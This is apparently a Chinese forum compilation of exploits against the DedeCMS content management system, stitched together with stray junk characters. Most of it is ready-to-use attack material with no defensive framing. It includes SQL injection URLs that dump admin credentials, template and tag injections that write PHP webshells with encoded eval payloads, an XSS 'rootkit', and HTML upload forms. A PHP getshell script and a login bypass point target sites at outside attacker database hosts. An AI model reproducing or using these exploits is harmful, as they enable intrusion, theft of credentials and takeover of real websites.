dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
- I! q6 x) G9 t0 w% Phttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1



: }$ F' _) C# _9 d

6 J6 @1 B6 M4 P$ L0 \2 A0 |0 P: O

3 b# Z! L& j6 m) ]9 y& U2 R
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
7 P: x) R1 g5 ?$ \" \5 d发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

2 @: Z& S  I: e' [$ G' R) \
: g% |# t: a) z1 j% y$ H8 J


% F9 a# X2 b  ~; D9 L: A1 i/ {1 z

% y( f. q4 i: N. l" _9 o# A: O2 c  _
Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
$ R+ _5 _6 V& U
- R% _0 T' n+ I7 ?& [9 e% R, m
$ l2 H: d* [  v8 [# {% {, L
% V3 n4 k, V# s5 g0 E8 s& F
. l# o6 d. p7 b* p" l
) \, E; ^4 l0 m5 Q5 n: O  u
9 n! n+ Z" r. P! _
) E, A. o& ^5 j, A
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


1 n% M* d# X3 G; ~



5 R1 y! ?! A  z7 ], o3 WDEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
( S" t6 b) \; Y  A0 [) l5 n
- R  H3 V$ P/ i' _
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
+ \; w# N$ r" ^0 c, K3 dhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


1 o! B6 H1 h6 W" ^6 U" O' {http://v57.demo.dedecms.com/dede/login.php

  k" \, Z! ~: S6 V+ w# w7 p) K
color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
/ O2 c) R0 c" _! k6 e$ r<?php
6 Y3 C' M3 W& k8 ]error_reporting(E_ERROR);
+ ]- ~& y- I6 I/ d- Y! wset_time_limit(0);
print_r('
& Z+ c7 w: D: H6 ^: c& mDEDEcms Variable Coverage
; Q0 f& t  s) {2 f' I9 }; j5 _5 oExploit Author: www.heixiaozi.comwww.webvul.com
6 C7 y; \" f% ]1 W);
/ W, K  ~, P  Z1 e# k* a8 }echo "\r\n";
if($argv[2]==null){
7 X/ \* g: Z; L1 m5 L  }9 vprint_r('
- _, I; l4 ?/ [9 O, p1 @+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
5 R+ D5 L1 f; v. u  pExample:
! k  L" B: [& R. D9 s3 aphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
+ V& r7 i: [" O% ?9 O+ w');
& h3 w" O+ `* L' ~, o" a* kexit;
; ^! I+ Z6 C6 M4 i1 X' \}
$url=$argv[1];
& c4 ?! q% r/ l& J( I$ V: d, a$aid=$argv[2];
- h2 c8 K! H  u/ H* Q2 V9 B2 {& x$path=$argv[3];
# g! C4 z8 p, Q8 G$exp=Getshell($url,$aid,$path);
6 W* N; M" j% p- y% T! F6 h$ j0 qif (strpos($exp,"OK")>12){
echo "
% y( B  g# w, ~0 l; rExploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


% \. P* h) O# w( K5 r5 jif($aid==2)echo "
4 G4 Y1 W9 R- UShell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
+ ]: ?3 J0 X( L5 f( zShell:".$url."/$path/plus/fuck.php\n";


4 B  S$ L4 ?) o3 Q9 X3 e}else{
/ M  W" b0 L- B/ Aecho "
Exploit Failed \n";
& V( L6 |& Q  q* }# F}
function Getshell($url,$aid,$path){
1 O  V3 {6 x, e/ d3 w1 p! B) T$id=$aid;
2 m0 }  j4 p+ G. O$host=$url;
$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
. k$ |+ r8 n4 i* I* N8 w+ U: N# ^$data .= "Host: ".$host."\r\n";
, [8 h; c" z# I" _$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
5 @- R9 X/ v" f  R9 ]$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
+ K9 O  m7 V  T8 w+ o, _//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
6 U2 U/ @1 T  n0 T( l$data .= "Connection: keep-alive\r\n";
8 s+ o% Z9 U0 F, z7 q) L" W) b$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
1 E& h2 y, J) X3 E6 D2 B& ]$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
3 a; O0 ?3 f+ _8 P- R+ j( aNo response from ".$host."\n";
}
' W% N( S$ Z% a! s5 Cfwrite($ock,$data);
& n1 |. y& h  m- h( c# Ewhile (!feof($ock)) {
" I+ {- x  O" `& ^- M$exp=fgets($ock, 1024);
return $exp;
}
- g- f$ d8 Q4 }! \- G}
3 y; X$ e' Q; K) H, u5 D2 @3 A
" w7 [' v  G( T( ~
1 O: A) f/ K8 O0 V! u1 k! f?>

4 A+ C+ N  g! |- j& ?5 ?


2 N  y7 L0 n; X  o' v( T0 M
( |  f! [- |+ g" L3 o5 G; U% Y
1 M) j; q# _8 v- W3 Z% A1 [% h



DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
! d1 t" X2 }) ]" Q( ^1 Mhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
& [: X, k, n' V2 q9 z- D) F/ C1 C2 r
' T5 U9 h& D5 V8 n  H# a6 r
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
0 a- N2 B3 I5 J2 G# k+ Q

此漏洞的前提是必须得到后台路径才能实现
9 a+ R( F) ], |
. }6 ^- _) V( D' C% F
" z  u* [& z: S. n2 |
* C; b+ ?( w& ?  O+ I0 h



& s8 T) |. Z+ l. s
9 D* f% F1 s+ w8 L  [/ s

- L7 o0 j3 Q, A$ K0 ~Dedecms织梦 标签远程文件写入漏洞
1 c' E) L! {9 x前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
3 m! k  E/ N: H# r

再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
3 V' Y: h* j  g1 c<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
/ \4 D5 i% s1 ^& F) P/ r4 s<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
1 A1 V( A' t. e- I* Y9 C<input type="submit" value="提交" name="QuickSearchBtn"><br />
. v% Q$ A0 e$ Q" l8 J6 z" [  _</form>
$ V2 }2 F2 C$ J<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
1 g* F: q, b5 q5 @+ |
+ ~  V! X9 p3 z  ]6 v0 O8 i. T9 U

- W6 B8 U- @8 K. }# W) Q$ Y

" b, A2 O$ i2 l( @
, R$ S6 w7 L* \7 V, S) ?+ |


8 G# o  Y* j5 v! P, E' ^
0 W- M, e5 t1 ]8 S# r% A, mDedeCms v5.6 嵌入恶意代码执行漏洞
  V5 @- \& Z7 o8 v9 k, \$ h; P/ `注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
3 P7 v! I; X" a" p  ^  va{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
5 U) T; J6 k& z; P' Y; v7 F6 `生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
* A  n- D- I4 G' \& mDedecms <= V5.6 Final模板执行漏洞
' _3 Z) t# j, a注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
; t! g& B8 z3 Q; V0 wuploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
. F. p$ g  e; m6 j9 Y. T{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
+ l; F5 `9 Y7 d@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
: w( H: \1 M$ u3 d" {2 修改刚刚发表的文章，查看源文件，构造一个表单：
- M2 G7 t) \: r! g* k# O<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
( n/ `# {( m1 ?<input type="hidden" name="aid" value="2" />
* j: x. h  G! }' x9 \2 c! [<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
* c+ ]  X  P/ o; \<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


  r$ F$ q2 u' c<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
% p# h# y6 J# Y2 Z
/ a- y/ A+ w& E! Y5 S6 ?8 \
<div class="postForm">
<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
5 o! f/ ^4 M# A* B  h( P
; @9 n# a) L, O  [- \
# G4 L" G* Z9 m4 x* |, L<label>标签TAG：</label>
5 S, u( {& Y$ d9 @<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
8 l8 B; ]! k; u  j, c3 y) T

6 H6 C& Z1 b6 A+ o<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
; d9 O2 J3 U: o$ U0 J
6 \! y( |$ D$ K* O9 J0 M
<label>隶属栏目：</label>
3 i4 y7 W; A; `) |<select name='typeid' size='1'>
* ?9 r2 o/ H2 z<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
8 i% E; X: y* N3 o</select>
6 _- x# v) s8 g" K4 k
! B9 z6 R& [% m  Q0 E+ _- P: n$ _
<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
+ f2 z6 l! W. k6 R/ D* E
/ H4 i4 n6 Z% G. V  i/ [
% o, y4 k5 i( s! E- T<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


<input type='text' name='templet'
+ ~" m, v  n* S/ H0 ~4 Yvalue="../ uploads/userup/2/12OMX04-15A.jpg">
0 N6 I& Z  n$ Z$ o9 H5 H3 s+ O<input type='text' name='dede_addonfields'
& ]$ q- C, g+ T) Z& f! t1 C0 hvalue="templet,htmltext;">（这里构造）
</div>

# L4 C2 q+ C$ U2 A5 j
8 \# I1 w* m5 g0 V* j; W* V<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
' v) G2 }0 i1 K) s) ?
' q1 N# o0 N+ ?
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
- V. ?7 V8 e9 S7 C* V$ r
: [1 ^. U8 ~6 H6 U
8 r* Q7 a: @9 ?: y<label>验证码：</label>
) e- R0 \! L- ^4 v" ^) a<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
+ w0 t, l& ], r
# T/ R3 ~# T9 M
<button class="button2" type="submit">提交</button>
+ v0 c( M% h# ?$ s<button class="button2 ml10" type="reset">重置</button>
6 \& W. x6 R, Q9 x' F* B</div>
* _- |, a6 q4 ~- y. @3 n
) X) A/ M5 Q# T. u3 f5 I! |
5 [. L+ ^3 _" Q, Q) r! K</div>


: b! H6 \7 ]7 k# M" u$ e</form>

' I6 P+ c& Y$ `* W
9 s0 S3 s* l! ]# A提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
2 e( J  c) u9 W5 n8 A0 Z假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
, F4 g' {: w( S即可以在plus目录下生成webshell：1.php


9 I  o1 Y' |% X: q. E: G3 ^0 J

$ }8 F( V# f) d2 Y; t5 @. q
: b. S: t: ?2 a1 o1 v9 N


8 n  W* O; x# z1 a
( X# w! U# ~2 u2 S


! `4 ~& W' w7 e) e- W+ N# w  I: fDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
& c4 V9 z& ^/ k5 }1 c  S, uGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
3 U9 O$ {1 Z, S* G% |! V- R* s<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
) V) n/ X# p1 G/ I' k6 o<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
5 J4 v  C- o" M% w+ M, ^$ V</form>
- R+ O' w! t) x

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
! p4 q! s2 Q3 D1 g$ p4 ^0 c
8 ?) A! s( ]. l5 x# U
0 [; X# Y3 E/ l5 n<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
) O5 O: h+ j" t  c. E+ U; {) T<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
$ k* Y, ~: ?. g<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
0 E. {9 h& q3 R  t<input type="hidden" name="sortrank" value="1282049150" />
2 S/ v3 P/ h" U3 C; j, H( u<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
5 n) }- D4 }- E3 t* g<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
1 O; c* O5 n1 i; B<option value='0' selected>请选择分类...</option>
3 p+ C2 {, j/ D. p) o3 A, d/ i<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
5 ]5 d1 d8 J1 l; A3 o<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
5 i2 M! }3 H. c) n$ ^" G' _<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
8 Y% o$ _7 Y5 i8 ]. h! x5 Y$ \</form>
( G, V$ E4 u: ~
% m" y; m, D% ]% S) U1 }! @

  c/ @6 X% P, ~# G8 P6 y
$ w: ^$ @( z6 |, x( h
3 ?" _7 c( t9 i) _% u' p+ N


$ R: l3 c: x7 a* h: v- j

) a$ _( Y' B: y' }6 o0 ^* g

# j  M% Z& \( H% K  T6 Y织梦(Dedecms)V5.6 远程文件删除漏洞
" x3 T2 ^& g( D$ A5 P3 d0 u6 ahttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

; j) P) D' v8 g; P

/ D$ f9 \" @8 T) Y
5 F; f' R2 J5 J' y1 D8 e1 c2 Z
/ {2 o3 e/ A5 c: j( l


! s* }$ Z. p* A0 {; k5 |) r

. E3 t+ b$ p4 z织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
8 M- r0 t# k9 T) M
7 F. [, q1 r  N9 {, A, ]" N



" k  e. N; c: n! ^. @

1 t* ~" V. o" M, j# }+ n' |


DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
; ]$ o7 s  V8 ]* F5 y- J密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

  H/ K& e% H! D3 n+ V1 b* t
$ e- u; L& S4 p; m: b- J
' U$ n- I) h; [3 y/ g" U


  O, L* @9 b4 c$ t! y$ L, }
2 ]% M1 _! }6 T: |% I3 F. \" E
2 J. x4 q3 S( n+ ?2 W% {

织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
" G$ @( e/ S! W- \http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

/ f4 ^4 a9 Y3 m


3 D- Z: ~0 j0 @4 ~; P
4 v6 [6 W: P. T% G6 `) Y1 p




织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
/ o  v% o+ ~7 @+ t! A3 n: O$ r<html>
<head>
; W% Q/ V. F) Q! D% n' q# B+ ]<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
0 n( W4 o4 I* W</head>
3 @  p' q$ r' w; n<body style="FONT-SIZE: 9pt">
( D1 ?( \# Q' z2 X---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
2 H+ h& w& E# J: {<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
# h4 Z, ?& K; a( F. ]<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
8 z7 S, q4 L1 O, A1 q0 Y* ~' }Select U Shell <input type='file' name='uploadfile' size='25' />
$ O  t* a% X' N4 H) b2 D2 [<input type='submit' name='sb1' value='确定' />
7 ?8 g( u  v$ S+ _</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
1 l6 D  i& o" w4 bNeed register_globals = on...<br />
# x( x) w/ ^# V! d4 ?Fun the game,get a webshell at /data/cache/fly.php...<br />
5 h4 M7 @3 H; f: N</body>
</html>
2 p+ I# A* b; z# Z' ]3 s0 v
" R" Z& _+ q; c) `) h

$ P: x! u! }6 Y




" \( V* r. |5 @# V

& x3 k! I" G5 |3 `织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
( r& G# J6 h7 n0 J8 x1. 访问网址：
& l- m7 p0 V) p1 D# qhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息

% A" f1 W, O4 R7 c  U. X
9 n/ q4 [+ b+ c& M- [2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
. X7 b4 x- [. a) z5 s8 g) Nint(3) Error: Illegal double '1024e1024' value found during parsing
5 j/ [) t- L" U( Q( {Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
+ E- o$ H+ K" [) u( B" I1 X

, C* ~" L( o8 B9 U3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
0 s# f! O: z8 d) g1 H& i! ?/ S
3 D* i, q" I5 N- T
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
# h; s2 ]: g0 C
  J  i# q; k! }% p" U7 d# z
按确定后的看到第2步骤的信息表示文件木马上传成功.
7 b! U7 {; r2 C

% x0 E) ^! u4 C- n4 A) m" [

& e" S3 ?$ d. ?: ^3 w6 P! j) D- }, j


" |0 k4 t+ D4 W4 G


* T2 I) l2 v% Q! U7 ~
# I: X( Q! X$ X7 w/ T
% Z$ n) O9 ]$ t7 F/ U织梦(DedeCms)plus/infosearch.php 文件注入漏洞
  R( x4 j1 o  ]$ [http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*